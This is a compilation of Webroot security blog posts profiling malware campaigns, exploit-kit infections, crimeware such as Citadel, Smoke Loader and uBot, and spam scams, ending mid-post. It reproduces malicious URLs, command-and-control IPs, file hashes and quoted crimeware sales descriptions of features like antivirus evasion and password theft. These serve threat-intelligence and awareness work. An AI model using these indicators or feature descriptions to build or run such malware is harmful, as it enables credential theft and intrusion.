Not only does signature-based threat detection slow your computer down, it also opens a rather large window for new malware to reach your Internet-connected devices while you wait for critical updates. It's time for the security industry to wake and smell the malware. We did. And that's why we created **Webroot® SecureAnywhere™** —an award-winning new approach to behavior-based Internet security .

As a consumer of computer security products, it's important to know why cybercriminals currently have the upper hand on a fair amount of cyber security companies. We created this article to help you stay informed. If you'd like to learn more about signature-based threat detection on antivirus technology, Wikipedia does a pretty nice job of explaining the subject (**click here** to go to the article).

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised "Hallmark ecard" campaign leads to malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising a “You just received a e-card form somebody” themed malware campaign, impersonating Hallmark.

More details:

Subject: *You just received a e-card form somebody*

Message: *Hello, You have just received a Hallmark E-Card!There’s something special about that E-Card feeling.If you want to see your e-greeting-card, click the link below:http://www.hallmark.com/e-greetingsHope to see you soon,Your friends at HallmarkYour privacy is our priority.Click the “Privacy and Security” link at the bottom of this E-mail to view our policy.*

Malware link: *hxxp://e-card.serveusers.com/e-greetings.exe*

Upon clicking on the link, the end user is required to manually download and execute the malicious attachment.

Details on e-greetings.exe

Detection rate: 17 our of 43 signatures-based antivirus scanners detect this as malware

MD5: 1cd3a366d926ecc90a5ef9a8de9f3be2

SHA256: 4028fffd6e4b7296564ee86c799b221ada0f97824469c0133102654b11a6b024

Detected as: Backdoor.IrcBot.ADIT; Backdoor.IRC.Zapchast.zwrc; IRC/Cloner.CA

Upon execution the sample phones back to the following IRC servers, where the infected host awaits further commands from the botnet masters:

194.109.20.90: 6667
208.83.20.130: 6667
211.75.246.205: 6667

Webroot SecureAnywhere customers are protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Report: 3,325% increase in malware targeting the Android OS - Webroot Blog

facebook linkedin twitter

Which is the most targeted mobile operating system?

According to the recently released **2011 Mobile Threats Report** from our partners at Juniper Networks, that's the Android OS.

Key summary points from the report:

From 2010 to 2011, Juniper identified a 155 percent increase in mobile malware across all mobile device platforms.
In the last seven months of 2011, Juniper Networks Mobile Threat Center identified a 3,325 percent jump in malware targeting the Android platform.
30% of all mobile applications have the ability to obtain device locations without the user's consent.
14.7% of all applications have the ability to make phone calls without the user's consent.

Based on what data was this report compiled? The Juniper MTC examined more than 790,000 applications and other vulnerabilities across every major mobile device operating system to inform the report.

The majority of **malicious applications were found on secondary Android application markets** , compared to obtaining them from the primary Android Market:

In 2011, we saw unprecedented growth of mobile malware attacks with a 155 percent increase across all platforms. Most noteworthy was the dramatic growth in Android Malware from roughly 400 samples in June to over 13,000 samples by the end of 2011. This amounts to a cumulative increase of 3,325 percent. Notable in these findings is a significant number of malware samples obtained from third-party applications stores, which do not enjoy the benefit or protection from Google's newly announced Android Market scanning techniques.

What’s the most popular propagation vector? As always, that’s social engineering attacks — in this case, fake installers:

Fake Installers trick victims into unknowingly paying for popular applications that are normally free but have been pirated by the attackers. Victims are tricked into agreeing to terms of service of pirated applications that then send profits via premium SMS messages to the scammers. While these attacks don’t lead to complete financial ruin, they have the promise of making attackers a tidy profit a few dollars a time.

What’s the most popular malware type detected by Juniper Networks? According to its report that’s spyware applications, accounting for 63% of the total malware samples. Spyware applications can capture and unknowingly transmit data such as the GPS coordinates of the victim, text messages or the browser’s history.

Next to spyware applications, SMS trojans accounted for 36% of the total malware sample. SMS Trojans automatically and silently sent premium-rate SMS messages, with the malicious attackers earning a commission thanks to their participation in an affiliate network.

Thankfully, **Webroot’s diversified portfolio of market propositions** , has already released on the market applications aiming to protect end and corporate users from mobile threats like the ones covered in Juniper Network’s report.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Twitter adds HTTPS support by default - Webroot Blog

facebook linkedin twitter

On Monday, **Twitter announced that it's introducing support for secure HTTPS** connections to all users by default.

More details:

Last year, we added the option to always use HTTPS when accessing Twitter.com on the web. This setting makes your Twitter experience more secure by protecting your information, and it's especially helpful if you use Twitter over an unsecured Internet connection like a public wi-fi network.

Now, HTTPS will be on by default for all users, whenever you sign in to Twitter.com. If you prefer not use it, you can turn it off on your Account Settings page. HTTPS is one of the best ways to keep your account safe and it will only get better as we continue to improve HTTPS support on our web and mobile clients.

From now one, the millions of Twitter users will be protected from popular sniffing attacks, taking place over insecure networks such as the ubiquitous public Wi-Fi networks.

However, the value-added feature doesn't protect a particular segment of Twitter's users – that's the malware-infected Twitter users.

For years, cybercriminals have been obtaining Twitter login credentials by actively data mining their botnets for Twitter login data. Once the host is malware infected, it renders HTTPS useless as the cybercriminals is performing active man-in-the-middle attacks on the targeted hosts.

Thankfully, Twitter's newly announced feature is a step in the right direction, so avoid turning it off.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Report: Internet Explorer 9 leads in socially-engineered malware protection - Webroot Blog

facebook linkedin twitter

According to a **newly released report from NSS Labs** , Microsoft's Internet Explorer 9 outperforms competing browsers in protecting against socially engineered malware.

More details:

NSS Labs has conducted significant research over time into the protection capabilities of Chrome, Firefox, Internet Explorer, and Safari. Throughout 2009 and 2010, protection provided by both Firefox and Safari exceeded that of Chrome1. Since the adoption of Safe Browsing API v2 and the elimination of proprietary solutions, both haved emonstrated a reduction in effectiveness at blocking traditional malware downloads.The latest round of testing occurred from November 21, 2011 to January 5, 2012, during which NSS researchers observed what appears to be a significant change when compared with historical results. Chrome's protection rate steadily climbed to just over 50% before suddenly falling back to 20%. Over the same time period (Nov 21, 2011 –December 21, 2011), Firefox and Safari's block rate remained at 2%, and then inexplicably jumped to 7% on the same day Chrome's protection fell precipitously (December 22nd)

According to NSS Labs, the mean rate for socially engineered malware for Internet Explorer 9 is 96.5%, followed by Google's Chrome with 34.1%, and Firefox 7 with 3.6%, next to Safari 5 with 3.5%.

Does this mean that Microsoft's Internet Explorer 9 is indeed the most secure browser around? Not so fast. NSS Labs has positioned Internet Explorer as the leader in protecting against socially engineered malware several times before. See also:

Internet Explorer 9 outperforms competing browsers in malware blocking test IE8 outperforms competing browsers in malware protection — again Study: IE8's SmartScreen leads in malware protection

However, users should also take into consideration the dynamics of today's threat landscape. Despite that numerous Microsoft reports indicate that **the most popular malware propagation tactic** is that which requires user interaction — also known as socially engineered malware — these reports omit an important growth factor in the modern cybercrime ecosystem – the **exploitation of client-side vulnerabilities** , like the ones **researchers from Webroot** have stumbled upon recently. The exploitation of client-side vulnerabilities takes place through the abuse of unpatched third-party applications, and browser plugins, something that Internet Explorer 9 doesn't automatically protect from. According to **a study released in December, 2011 by Accuvant** , the most secure browser with numerous built-in security features is Google's Chrome. End users are advised to be extra vigilant when interacting with content found on social networks, and to ensure that their PCs are free from client-side vulnerabilities found in **third-party software** , as well as their **browser plugins** . Which browser are you currently using? Do you trust comparative security reviews like the ones reviewed in this post, or do you you base your browser choice on other factors? Leave your comments and let us know.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

The United Nations hacked, Team Poison claims responsibility - Webroot Blog

facebook linkedin twitter

A well known group of hackers has penetrated the networks of the United Nations, according to a note posted on Pastebin.com.

The group claiming responsibility is **Team Poison** , a hacking group closely associated with the Anonymous hactivist movement. Team Poison members include TriCk, iN^SaNe, MLT,Phantom~, C0RPS3, f0rsaken, aXioM and ap0calypse.

More details:

The **note posted on Pastebin.com** includes details from the databases of the United Nations, as well as a list of potentially exploitable vulnerabilities located within the **un.org** domain. The reason for hacking?

According the note:

I f*ck actually system… I fighting for Internet Freedom, equiality & rights for all. You're FREEDOM my brothers & my sisters ! <3

This isn't the first time that Team Poison has targeted the United Nations.

Back in November 2011 , the group once again compromised networks belonging to the United Nations, and leaked usernames and passwords. Team Poison is also known to have participated in the Anonymous-backed operation Operation Robin Hood – "*Operation Robin Hood will take credit cards and donate to the 99% as well as various charities around the globe. The banks will be forced to reimburse the people their money back.* "

The UN has been notified of the incident and is currently investigating.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Pharmaceutical scammers launch their own Web contest - Webroot Blog

facebook linkedin twitter

What are pharmaceutical scammers up to? From active participation in black hat search engine optimization campaigns, to **spamvertising of bogus links —** including QR Codes — and compromising of web sites with high page rank in order to redirect to pharmaceutical scams, scammers are keeping themselves pretty busy in order to monetize as much web traffic as possible.

Recently, one of the **most popular affiliate network for selling counterfeit pharmaceutical items** launched its own Web contest.

Let’s take a look.

Ironically, the contest’s rules explicitly forbid the writing of articles related to black hat search engine optimization, fake codeds, carding, and DDoS attacks. Ironically, in the sense that black hat search engine optimization, next to spamming, remain among the most popular advertising techniques in the arsenal of the pharmaceutical scammer:

In order to participate in it you need to write relevant and detailed article on SEO, which will be revealed and graphically shown (pictures, screenshots, etc.) or that the problems and prospects in this field. The main value of the article – is, of course, “scorched” in its topic, so for us is absolutely unimportant whether or not the person’s own blog. But it should be noted that the articles telling about illegal topics and methods of work (hack, hacking, carding, codecs, ddos, cp, adware, etc.) will not be published.

And the prices?

Completely unique author’s article estimated at $ 300.
The transfer paper is unique in a good quality we have estimated at $ 150.
Winner of the month at 6.10 published articles receive from us $ 500.
Winner of the month at 1-5 published articles receive from us $ 250.

The Web contest is sponsored by the infamous RX-Partners pharmaceutical scams affiliate network, which **I have already exposed in a previous report** regarding pharmaceutical scammers.

Affiliate networks continue representing the key driving force behind the growth of pharmaceutical scams. Offering high payout rates to participating scammers, these networks entice scammers in engaging with numerous malicious practices in order to better monetize the hijacked traffic.

Don’t bargain with your health, avoid purchasing counterfeit pharmaceutical items.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Researchers spot Citadel, a ZeuS crimeware variant - Webroot Blog

facebook linkedin twitter

Security researchers from “Tracking Cyber Crime” have spotted **a new ZeuS crimeware variant** , that’s based on the leaked ZeuS source code from last year.

Dubbed Citadel, the crimeware is positioned as a universal spyware system, whose modular nature allows cybercriminals to offer flexibly priced value-added services such as managed malware crypting, and managed web injects as a service.

Some of Citadel’s core features include:

We’re offering a great solution for creating and updating your botnet. We’re not trying to re-invent the wheel or come up with a revolutionary product. We have simply perfected the good old Zeus, making significant functionality improvements, adapting it to the survival conditions of today’s security landscape, and giving it a new name. Originally, we developed it for our own needs; during the development process, we also decided to create a “social circle” of support community, which is described later in this article.

Changes have been made both to the bot itself and to the web components.
We don’t sell “eye candy”. What you are paying for is the new functionality and coders’ motivation to support the product.

New features for the bot:

[+] Fixed VNC bug on Vista/Win7. Internet Explorer is now fully supported (there used to be a rendering problem in IE)

[+] Added support for Mozilla Firefox 7.0 (recent versions have had problems sending the reports; the problem is now fixed)

[+] Crypto-protection (the body is decrypted in memory)

[+] DNS-redirects (not through hosts). Any URL can now be blocked/redirected, undetectable by heuristics. For example, block

AV servers or redirect bank pages to a different host.
!BONUS! The list of popular AV server URLs to clock is included.

[+] Software version is included in the report. The report will contain detailed information on the holder's browser version. This can be used to imitate the holder's settings.

[+] Extra layer of protection from trackers – Login Key.

[+] Authentication mechanism for config updates (no direct URLs). Adequate protection against established trackers.

[+] Grabber support for Google Chrome. (tested on latest versions 15.x/16.x)

[+] Inject support for Google Chrome. (tested on latest versions 15.x/16.x)

[+] Added function search caching, for faster hook setting in Chrome.

[+] Added feature: bot can run system CMD commands at startup (the CMDList section) and upload the report to server. For example, you can specify that upon installation your bot should upload the output of "ipconfig /all" or the list of all shared drives. This is a good feature to have when analyzing a company's internal structure. (For example, you can often see bots with names like ACCOUNTANT_PC, POS_SERV, DATABASE…)

[+] Added mechanism to check the integrity of hooks in some Windows.

[+] Environment heuristic analyzer can use a stop-list to terminate undesirable software (significantly improves stealth), all popular AV products are included in the list.

[+] Small bugs have been fixed.

[+] Video grabber gives you a unique opportunity to see how your injects work "through the eyes of the holder". Just specify the list of URLs and the recording time in seconds in the config file, and the bot will start recording video (in MKV format) as soon as the holder visits one of the URLs. Make sure your server can receive files of 10-60MB.

[+] Removed the “cookie clearing” feature, because it was messing up the machine’s fingerprint.

[+] Added support for HTTP 1.0 and extended headers (for example, the response doesn’t always look like “HTTP/1.1 200 OK”, sometimes it can be “HTTP/1.1 200 follow document”, where code 200 is followed by a couple of words), this is applicable to Firefox & Chrome

[+] Added gate generator (in case you want to place files on an intermediary host for redirect)

[+] All of Zeus’s basic functionality is included. I don’t think it needs to be listed here.

[+] Fully revamped, more user-friendly web-admin interface.

The additional modules available for purchase include, a Full-featured VNC control panel (Price: $495.00), a high-quality SOCKS checker module (Price: $49.00), executable files auto-encryption module (Price: $395.00) and a log parser module Price: $295.00. The executable files auto-encryption module works through a Jabber-based script that uses cron for encrypting received files. Compared to DIY (do-it-yourself) fashion malware crypting techniques, the service is relying on a limited set of malware cryptors, and many cybercriminals will definitely choose to avoid it, and stick to managed malware crypting services offering support for a variety of cryptors.

The moment when the source code of the most ubiquitous crimeware, ZeuS, leaked into the wild last year, changed pretty much everything. **Open source malware is among the key driving forces of the growth in malware variants** . From tutorials and how-to’s to easily modifiable source code, the rise of open source malware has clearly benefitted malicious cybercriminals in countless ways. F0r instance, malicious attackers would start coding their releases from scratch. Instead, they will use the leaked code as a foundation for their tools, borrowing a trick or two in the process.

Webroot’s security researchers will continue monitoring the threat landscape for for new, and emerging threats, proactively responding to both of them.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Researchers intercept two client-side exploits serving malware campaigns - Webroot Blog

facebook linkedin twitter

Security researchers from Webroot have intercepted two currently live client-side exploits serving malware campaigns that have already managed to infect over 20,000 PCs across the globe, primarily in the United States. Based upon detailed analysis, it can be concluded that both campaigns are launched by the same cybercriminal.

More details:

Using the BlackHole web malware exploitation kit, the malicious attackers are currently serving explots to tens of thousands of unsuspecting end users.

As you can seen in the screenshot, they have already managed to infect 20,976 hosts. 17530 hosts were successfully exploited using the Jave Rhino exploit, 3163 hosts were exploited using the PDF LIBTIFF exploit, 375 hosts were exploited using the PDF ALL exploit, 70 hosts were exploited using the FLASH exploit, 29 hosts were exploited using the HCP exploit, 26 hosts were exploited using the MDAC exploit, and 23 hosts were exploited using the Jave OBE exploit.

Screenshot of the affected browsers and exploited countries:

As you can see in the above screenshot, exploitation of vulnerable Internet Explorer versions tops the chart with 11,648 successful infections, followed by Firefox with 9259 infections, Opera with 131 and Chrome with just 2 infections. The majority of victims from the first campaigns are primarily based in the United States.

Cybercriminals often hijack traffic from developed countries, whose Internet users have a high purchasing power compared to users of developing countries.

Client-side exploits are served from the following URLs:

hxxp://178.18.243.177/main.php?page=691bdc57bceadabf

IP Information for 178.18.243.177

Germany Karlsruhe Inline Internet Online Dienste Gmbh, AS31147

Associated MD5s:

990af3738af00cd43b7f67e04e6cd869

94652039cb8cae5595a93f1dd40561cd

The second campaign is once again using the BlackHole web malware exploitation kit for serving client-side exploits to unsuspecting victims, and has already managed to infect 538 hosts from across the globe. Malicious cybercriminals have already managed to exploit 408 hosts using the Java Rhino exploit, 96 hosts using the PDF LIBTIFF exploit, and 25 hosts using the Java OBE exploit.

Which browsers were most susceptible to exploitation? According to the BlackHole statistics, 357 infections took place on Microsoft's Internet Explorer browser, followed by another 171 on Mozilla's Firefox, 8 on Safari, and 2 on Opera. Once again, the majority of victims are located within the United States.

How are the malicious attackers delivering their malicious payload? Pretty simple in this case — by embedding malicious iFrames on questionable web sites and underground search engines, as you can see in the screenshot above, showing where the majority of the traffic is coming from.

IP Information for 81.17.24.93

Switzerland Zurich Private Layer Inc, AS51852

End users are advised to ensure that they're not susceptible to client-side exploitation, by checking that **they're not running vulnerable versions of popular software** and **browser plugins** .

Webroot's security researchers will continue monitoring these campaigns, to ensure that **Webroot SecureAnywhere** customers are protected from the malicious payload served.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside the Smoke Malware Loader - Webroot Blog

facebook linkedin twitter

The competitive arms race between security vendors and malicious cybercriminals constantly produces new defensive mechanisms, next to new attack platforms and malicious tools aiming to efficiently exploit and infect as many people as possible.

Continuing the "A peek inside…" series, in this post I will profile yet another malware loader. This time it's the Smoke Malware Loader.

The Smoke Malware Loader is a modular malware loader, that comes with several different modules based on how much is the customer willing to spend.

Some of its features include:

– Progressive download different EXE and run *

– Geo-targeting (download only for specific countries)

– The ability to download files via a URL

– Startup and invisible work (Masked by a trusted process) **

– Detailed statistics on jobs- Self-renewal through the bot's admin panel (locally or remotely) **

– Protection against loss by blocking bots domain **

– The small size of the loader ~ 12.6 kb ***

– Ability to use Builder for "sellers" (more accurate statistics)

– Statistics on re-launching (useful for assessing the quality of downloads, or traffic) **

– "Guest" access to the statistics- Easy kriptovka (does not contain any additional dll, overlays, etc.)

Screenshots of the command and control interface:

The modular Smoke Malware loader comes with two additional modules. The first module steals passwords from popular applications, and sends them back to the malicious attackers. The second module is a **SOCKS-connection module** , turning malware-infected hosts into **stepping stones for anonymizing a cybercriminal's online activities** .

The first module successfully steals passwords from the following applications:

32bit FTP
BitKinex
BulletProof FTP Client
Classic FTP
CoffeeCup FTP
Core FTP
CuteFTP
Directory Opus
ExpanDrive
FAR Manager FTP
FFFTP
FileZilla
FlashFXP
Fling
FreeFTP/DirectFTP
Frigate3 FTP
FTP Commander
FTP Control
FTP Explorer
FTP Navigator
FTP Uploader
FTPRush
LeapFTP
NetDrive
SecureFX
SmartFTP
SoftX FTP Client
TurboFTP
UltraFXP
WebDrive
WebSitePublisher

Windows/Total Commander
WinSCP
WS_FTP

And from the following browsers:

Apple Safari
Flock
Google Chrome
Internet Explorer
Mozilla Browser
Mozilla Firefox
Mozilla Thunderbird
Opera
SeaMonkey

The full version of the passwords grabber also works on the following IM applications:

&RQ
AIM Pro
Digsby
Excite Private Messenger
Faim
GAIM
Gizmo Project
Google Talk
ICQ/AIM
ICQ2003/Lite
ICQ99b-2002
IM2 (Messenger 2)
JAJC
Miranda
MSN Messenger
MySpaceIM
Odigo
Paltalk
Pandion
Pidgin
PSI

QIP
QIP.Online
SIM
Trillian
Trillian Astra
Windows Live Messenger
Yahoo! Messenger

And how about the price? The price for the Smoke Malware Loader, including and excluding various modules is as follows:

– Only the loader (the non-resident version) – 150 WMZ
– Only the loader (TSR version) – 250 WMZ
– Grabber LITE – 100 WMZ **
– Grabber FULL – 150 WMZ **
– SOCKS-module – 50 WMZ (version without bekkonekta) **
– HOSTS-module – 25 WMZ **
– Rebild loader – 10 WMZ
– Update: minor fixes – for free, the rest is discussed separately
– Can build to suit your needs grabber

The modular nature of the Smoke Malware Loader allows the seller of the bot to come up with flexible pricing plans, potentially lowering down the entry barriers into this market segment. The bot's password grabbing functionality is a great reminder of how you shouldn't save your passwords in the browser, as they become susceptible to extraction techniques like the ones used by the Smoke Malware Loader.

Use a third-party password managing tool, like **Webroot's Password Manager** for instance.

Related posts:

A peek inside the uBot malware bot

A peek inside the PickPocket Botnet

A peek inside the Cythosia v2 DDoS Bot

A peek inside the Umbra malware loader

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'You have 1 lost message on Facebook' campaign leads to pharmaceutical scams - Webroot Blog

facebook linkedin twitter

A currently spamvertised spam campaign is redirecting users to pharmaceutical scams, in an attempt to trick them into purchasing counterfeit pharmaceutical items.

More details:

Spamvertised message: **You have 1 lost message on Facebook..**

Spamvertised text: **You have 1 lost message on Facebook, to recover a message follow the link below :http://www.facebook.com/profile.php?lost_message=ba1b1b04FAQ: Can you recieve messages if your inbox is full?**

Actually, the spam campaign links to **dostyurdu[dot]com/sheep.html** which then redirects to **vliqwalo[dot]com** displaying a pharmaceutical items shop:

According to third-party research, **end users continue clicking on links found in spam messages** , potentially exposing themselves to threats and scams spamvertised by malicious attackers.

Users are advised to be extra vigilant when interacting with email from unknown sources, and not to purchase counterfeit items from pharmaceutical shops delivered to them via spam messages.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals generate malicious Java applets using DIY tools - Webroot Blog

facebook linkedin twitter

Who said there's such a thing as a trusted Java applet?

In situations where malicious attackers cannot directly **exploit client-side vulnerabilities on the targeted host** , they will turn to social engineering tricks, like legitimate-looking Java Applets, which will on the other hand silently download the malicious payload of the attacker, once the user confirms he trusts the Applet.

Let's profile a DIY (do-it-yourself) malicious Java Applet generator currently available for download at selected cybercrime-friendly online communities:

Screenshot of the DIY malicious Java Applet generator:

By default, the DIY generator allows the creation of Java Applets mimicking a Photo Gallery, Camera Chat, Video Streaming, next to making it look like they've been issued by the following publishers – Adobe Systems Inc., Microsoft Corporation, and Sun Microsystems Inc. Naturally, they allow the use of Custom Publisher, making it fairly easy for a malicious attacker to impersonate a well known brand.

Here's how a sample malicious Java Applet would look like, once generated:

As you can see, by default Java will notify the user that the publisher hasn't been verified. However in this case, the malicious attacker simply used Facebook (Trusted) instead of just Facebook as a Class Name, attempting to socially engineer users into running the malicious Java Applet.

Users are advised not to execute unsigned Java Applets.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside the uBot malware bot - Webroot Blog

facebook linkedin twitter

Participants in the dynamic cybercrime underground ecosystem are constantly working on new cybercrime-friendly releases in the form of malware bots, Remote Access Tools (RATs) and malware loaders.

Continuing the “A peek inside…” series, in this post I will profile yet another DIY (do-it-yourself) malware bot, available at the disposal of cybercriminals at selected cybercrime-friendly online communities.

Description of the malware bot:

“µBOT, originally named “WEBNET”, is a stable HTTP bot created for the use of herding and is perfect for collecting hundereds, and thousands of bots at an affordable price. The simple to use interface and reliable bot allows you to control your botnet with confidence, knowing your bots are safe and stable is what botnet masters need most, and this is what we provide to you with µBOT.The “µ” within in our name represents simplicity and small size, which is directly in relation with our bot itself, with a tiny size of 9kb compressed with the control from the easy-to-use control panel.”

uBot’s malware bot features include:

INSTANT Infection, no waiting.
– Download & Execute.
– Update.
– Visit Webpage [Visible].
– Visit Webpage [Invisible].
– Uninstall.
– Add to Startup.
– Critical Process.
– Hidden File.
– Admin detection.
– Mutex.
– Coded in VB6, no .NET Framework dependency!

– Small, ~10kb compressed, 36kb uncompressed.
– Great stability.

Panel:
– Detailed statistics.
– Location plot, map graph.
– Pie Charts [Bot Status, Operating System, Admin].
– Tool-tip for last commands sent for each client.
– Bot selection preferences.
– Integrated Ajax, means everything is realtime! From client list to bot count.

Screenshots of the uBot malware bot:

The AJAX- based bot is coded in VB6, meaning there are no .NET Framework dependencies. Next to the small size — ~10kb compressed, 36kb uncompressed — the malware bot offers an easy to use web-based command and control interface, positioning it as the perfect tool in the arsenal of the malicious attacker.

Webroot's Security Team is currently in the process of analyzing the malware bot, to ensure that **Webroot SecureAnywhere** customers are protected for its variants.

Related posts:

A peek inside the PickPocket Botnet

A peek inside the Cythosia v2 DDoS Bot

A peek inside the Umbra malware loader

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Researchers intercept a client-side exploits serving malware campaign - Webroot Blog

facebook linkedin twitter

Security researchers from Webroot have intercepted a currently active, client-side exploits-serving malicious campaign that has already managed to infect 18,544 computers across the globe, through the BlackHole web malware exploitation kit.

More details:

The BlackHole Web malware exploitation kit is currently serving the following exploits: Java Rhino; Java OBE; MDA; PDF ALL; PDF LIBTIFF; HCP; FLASH.

As you can seen in the attached screenshot, the cybercriminals managed to infect 14091 hosts using the Java Rhino exploit, 2643 hosts using the PDF LIBTIFF exploit, 662 hosts using the PDF ALL Exploit, 533 hosts using the Java OBE exploit, and 396 hosts using the FLASH exploit. The campaign alsos managed to infect 7571 Windows 7 hosts, 6558 Windows XP hosts, and 4363 Windows Vista hosts, next to 7 Mac OS X hosts.

The campaign is relying on traffic redirected through multiple campaigns which usually take place using traffic exchange networks. In these networks, cybercriminals will exchange traffic that they have aggregated using, for instance, black hat search engine optimization tactics, or directly embed client-side exploits serving iFrames within bogus adult web sites.

Client-side exploits are served from the following URLs:

hxxp://176.31.245.175/main.php
hxxp://176.31.245.175/main.php?page=b0d770efba902f4d
hxxp://176.31.245.175/main.php?page=41daaa37bd31588f
hxxp://176.31.245.175/main.php?page=ca56ea46b85905c8
hxxp://176.31.245.175/main.php?page=b556c61cbc0a973d
hxxp://176.31.245.175/main.php?page=5d50b58e2c650bb1
hxxp://176.31.245.175/main.php?page=bde782aaab4733f5

hxxp://176.31.245.175/main.php?page=09cd2cae1be568e1
hxxp://176.31.245.175/main.php?page=0f901be3c1f396a0
hxxp://176.31.245.175/main.php?page=6f56cd0f4e82bd69
hxxp://176.31.245.175/main.php?page=e9c8657855ca6126
hxxp://176.31.245.175/main.php?page=0058ca317c5afa83
hxxp://176.31.245.175/main.php?page=8790bb3deeb48533
hxxp://176.31.245.175/main.php?page=bb6227d3a4bb9474
hxxp://176.31.245.175/main.php?page=3831657f7eea6b07
hxxp://176.31.245.175/main.php?page=37c1318db6a8c63b
hxxp://176.31.245.175/main.php?page=37c1318db6a8c63b
hxxp://176.31.245.175/main.php?page=64a2d67411c0b080
hxxp://176.31.245.175/main.php?page=43a3824339b73b31

IP Information for 176.31.245.175:

IP Location: France Paris Ovh Systems

ASN: AS16276

Resolve Host: ks386835.kimsufi.com

The following malicious executables, have been detected as participating in the malicious campaign:

MD5's participating in the malicious campaign:
921914ae92f6e650289db252605304a1
857bf35df69ebb16b492b767021a5743
42c6422d4815f48b19097363347aad02
4794576b3776b0d3989ff0c06e10fd7c
0274d65f4ee68b1fb425357c713cf8bd
7a9b6a40ef47cf7c43bfcebf0348ecd4
b8dd1c9f712d95514fbc892c2530af6c
45f715d409446da3a6f5ad5923087193
f2d593dfda4f38a967cd43f4c3cf0683
0150b4c48d8ddd5e6e4a1fdbb0f9616e
708f2ce2fc6600bd309448b80e0c266d
5077020c65ed2e152848c0eb651c2e62
056a34283fc185f50dfe5d6b9262028d

Multiple independent reports are confirming that client-side exploits remain the most lucrative end and corporate user

exploitation tactic , thanks to the fact that end users aren't patching their **third-party applications and browser plugins** .

Users are advised to ensure that you're not running any **outdated software** , next to **browser plugins** .

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

How phishers launch phishing attacks - Webroot Blog

facebook linkedin twitter

Just like in every other industry, participants in the cybercrime ecosystem are no strangers to the concept of standardization. Standardization results in efficiencies, which on the other hand results in economies of scale. In this case, malicious economies of scale.

Just how easy is it to launch a phishing attack nowadays? What tools, and tactics are at the disposal of phishers aiming to efficiently socially engineer hundreds of thousands of users?

In this post, I will profile the **Ninja V0.4 Social Engineering Phishing Framework** – an advanced platform for executing phishing attacks in a DIY (do-it-yourself) fashion.

